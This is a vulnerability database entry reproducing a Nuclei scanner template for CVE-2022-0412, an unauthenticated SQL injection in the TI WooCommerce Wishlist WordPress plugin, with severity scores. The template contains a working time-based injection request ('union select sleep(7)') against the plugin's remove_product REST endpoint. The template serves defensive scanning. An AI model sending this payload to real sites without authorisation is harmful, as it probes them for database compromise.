Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2022-0412
HistoryOct 01, 2022 - 1:34 p.m.

WordPress TI WooCommerce Wishlist <1.40.1 - SQL Injection

2022-10-0113:34:58
ProjectDiscovery
github.com
5
cve2022
sqli
ti-woocommerce-wishlist
wpscan
woocommerce
wordpress
wp-plugin
templateinvaders

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.085 Low

EPSS

Percentile

94.5%

WordPress TI WooCommerce Wishlist plugin before 1.40.1 contains a SQL injection vulnerability. The plugin does not sanitize and escape the item_id parameter before using it in a SQL statement via the wishlist/remove_product REST endpoint.
id: CVE-2022-0412

info:
  name: WordPress TI WooCommerce Wishlist <1.40.1 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    WordPress TI WooCommerce Wishlist plugin before 1.40.1 contains a SQL injection vulnerability. The plugin does not sanitize and escape the item_id parameter before using it in a SQL statement via the wishlist/remove_product REST endpoint.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
  remediation: |
    Update to the latest version of the TI WooCommerce Wishlist plugin (1.40.1 or higher).
  reference:
    - https://wpscan.com/vulnerability/e984ba11-abeb-4ed4-9dad-0bfd539a9682
    - https://wordpress.org/plugins/ti-woocommerce-wishlist/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0412
    - https://plugins.trac.wordpress.org/changeset/2668899
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0412
    cwe-id: CWE-89
    epss-score: 0.10259
    epss-percentile: 0.94816
    cpe: cpe:2.3:a:templateinvaders:ti_woocommerce_wishlist:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: templateinvaders
    product: ti_woocommerce_wishlist
    framework: wordpress
  tags: cve2022,cve,sqli,ti-woocommerce-wishlist,wpscan,woocommerce,wordpress,wp-plugin,wp,templateinvaders

http:
  - raw:
      - |
        @timeout: 15s
        GET /?rest_route=/wc/v3/wishlist/remove_product/1&item_id=0%20union%20select%20sleep(7)%20--%20g HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'

      - type: word
        part: body
        words:
          - 'Product not found'

      - type: status
        status:
          - 400
# digest: 4b0a00483046022100b6e4d0f3cf3083a6266de8390edc1edef6d598356cfce15241e5e052a6bcf2ff022100b035a1ed11b0738ead2d5d28393b784c66d899fee448212efc636ff59b11add8:922c64590222798bb761d5b6d8e72950

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.085 Low

EPSS

Percentile

94.5%